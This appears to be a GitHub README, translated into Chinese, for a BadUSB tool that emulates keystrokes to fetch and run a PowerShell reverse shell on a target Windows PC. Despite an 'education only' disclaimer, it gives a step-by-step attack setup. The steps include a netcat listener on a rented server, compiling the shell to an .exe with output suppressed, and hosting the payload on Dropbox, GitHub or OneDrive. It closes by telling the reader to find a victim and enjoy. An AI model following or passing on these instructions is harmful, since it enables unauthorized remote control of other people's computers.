tuconnaisyouknow/BadUSB_reverseShellInjector
GitHub: tuconnaisyouknow/BadUSB_reverseShellInjector
一款基于 BadUSB 的反向 Shell 注入工具,通过模拟键盘操作在目标 Windows PC 上执行攻击脚本以获取远程控制权。
Stars: 57 | Forks: 8
# BadUSB_reverseShellInjector
# 警告 ⚠️
本仓库中的所有内容**仅供**教育目的。请注意,**我对被盗数据概不负责**。您须对自己使用为 **BadUSB** 开发的脚本所采取的行为**负责**。
# 关于 ℹ️
此**脚本**允许您通过 **reverse shell** 攻击来获取对 **PC** 的**控制权**。
### 注意事项 n°1(针对 arduino BadUSB)
有时,您会看到类似这样的内容:
```
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(173);
Keyboard.releaseAll();
```
这仅用于输入这些字符:“@”、“\\”。但这取决于计算机的键盘布局,因此请借助此[网站](https://www.csee.umbc.edu/portal/help/theory/ascii.txt)以及您在键盘上实际输入这些字符的序列来调整这些字符。(或者将键盘布局切换为法语)。
### US 布局
对于 US 布局,您只需将“\\”替换为以下内容:
```
Keyboard.press(92);
Keyboard.releaseAll();
```
并将“@”替换为以下内容:
```
Keyboard.press(64);
Keyboard.releaseAll();
```
### 注意事项 n°2
您可以根据插入 **BadUSB** 的速度自定义**延迟**。
### 注意事项 n°3
当您将 BadUSB 插入 PC 时,您必须等待大写锁定(caps lock)指示灯闪烁后再将其拔出。
# 入门指南 ✔️
## 前置条件
1. 拥有一个 **BadUSB**。
2. 在[此处](https://www.arduino.cc/en/software)安装 **Arduino 软件**(如果您使用的是基于 arduino 的 BadUSB);
3. [拥有一个 ssh 服务器](https://github.com/tuconnaisyouknow/BadUSB_reverseShellInjector#linode);
4. [下载 PS2EXE](https://github.com/tuconnaisyouknow/BadUSB_reverseShellInjector#ps2exe);
5. 拥有一台在其 PC 上安装了 **Windows OS** 的受害者;
## Linode
1. 在[此处](https://www.linode.com/)创建一个账户;
2. 进入创建,linode;
3. 选择 Ubuntu 18.04 LTS 发行版;
4. 选择离您居住地最近的区域;
5. 选择共享 CPU,Nanode 1GB;
6. 选择您的服务器标签和密码;
7. 创建 linode;
8. 现在打开终端并输入 ssh 访问命令 (ssh root@your_ssh_ip_adress);
9. 您现在已连接到您的 ssh 服务器;
10. 要使您的 ssh 服务器始终保持监听状态,请输入以下命令:
```
screen
nc -lnvp 87 -s your_ssh_ip_adress
CTRL + A
D
```
11. 您的 ssh 服务器现在正在监听,您可以退出了;
12. 要恢复您的监听屏幕,只需输入:
```
screen -r
```
## PS2EXE
1. 进入此[链接](https://github.com/MScholtes/PS2EXE)并单击主页右上角的绿色按钮。然后单击“Download Zip”并解压 zip 文件。
2. 以管理员身份启动 powershell 并输入以下命令:
```
Set-Location $env:HOMEPATH\Downloads\PS2EXE-master\Win-PS2EXE
Set-ExecutionPolicy Unrestricted -Force
Import-Module ps2exe
win-ps2exe
```
3. * 选择源文件(您想要转换的文件)。
* 选择目标文件(您希望文件存放的目录)。
* 选择图标文件(您可以在[此处](https://iconarchive.com/)下载一些图标)。
* 勾选 Supress output 和 Suppress error output。
* 然后点击编译按钮完成转换。
## 安装
1. 下载本仓库;
**Linux :**
```
git clone https://github.com/tuconnaisyouknow/BadUSB_reverseShellInjector
cd BadUSB_reverseShellInjector
```
**Windows :** 点击主页右上角的绿色按钮。然后点击“Download Zip”并解压 zip 文件。
2. 将 [.txt](https://github.com/tuconnaisyouknow/BadUSB_reverseShellInjector/blob/main/BadUSB_reverseShellInjector.txt) 第 28 行或 [.ino](https://github.com/tuconnaisyouknow/BadUSB_reverseShellInjector/blob/main/BadUSB_reverseShellInjector.ino) 第 93 行中的 LINK 替换掉;
3. 替换[此处](https://github.com/tuconnaisyouknow/BadUSB_reverseShellInjector/blob/main/script.ps1)第 8 行的 LINK,并替换[此处](https://github.com/tuconnaisyouknow/BadUSB_reverseShellInjector/blob/main/reverseShell.ps1)第 3 行的 IP 和 PORT;
4. [将 reverseShell.ps1 文件转换为 .exe 文件](https://github.com/tuconnaisyouknow/BadUSB_reverseShellInjector#ps2exe);
5. 将 .ino 或 .txt 文件放入您的 **BadUSB** 中;
6. 寻找一个受害者并尽情享受吧!
## 受害者 PC 的前置条件
* 关闭大写锁定(caps lock)。
* 将键盘布局切换为法语(或根据您的布局调整代码)。
# 如何设置用于 wget 脚本的链接 ⬇️
## Dropbox
1. 在[此处](https://www.dropbox.com)创建一个 dropbox 账户;
2. 上传您的文件;
3. 复制该文件的链接并将 ?dl=0 更改为 ?dl=1;
4. 您将获得类似这样的链接:https://dropbox.com/s/link/YOURFILE?dl=1;
5. 现在将此链接放入 [.ino](https://github.com/tuconnaisyouknow/BadUSB_passStealer/blob/main/BadUSB_passStealer.ino) 或 [.txt](https://github.com/tuconnaisyouknow/BadUSB_passStealer/blob/main/BadUSB_passStealer.txt) 文件中;
## Github
1. 在[此处](https://github.com/signup)创建一个 Github 账户;
2. 创建一个公开的存储库(repository);
3. 上传您的文件;
4. 转到您的文件页面并点击 RAW 按钮;
5. 复制 RAW 页面链接并将其放入 [.ino](https://github.com/tuconnaisyouknow/BadUSB_passStealer/blob/main/BadUSB_passStealer.ino) 或 [.txt](https://github.com/tuconnaisyouknow/BadUSB_passStealer/blob/main/BadUSB_passStealer.txt) 文件中;
## One Drive
1. 在[此处](https://signup.live.com/signup)创建一个 One Drive 账户;
2. 上传您的文件;
3. 跟随此[教程](https://mangolassi.it/topic/19276/how-to-configure-a-onedrive-file-for-use-with-wget)
4. 将您获取的链接放入 [.ino](https://github.com/tuconnaisyouknow/BadUSB_passStealer/blob/main/BadUSB_passStealer.ino) 或 [.txt](https://github.com/tuconnaisyouknow/BadUSB_passStealer/blob/main/BadUSB_passStealer.txt)
标签:AI合规, Arduino, BadUSB, IPv6, PowerShell, 内存分配, 反弹Shell, 硬件安全, 网络信息收集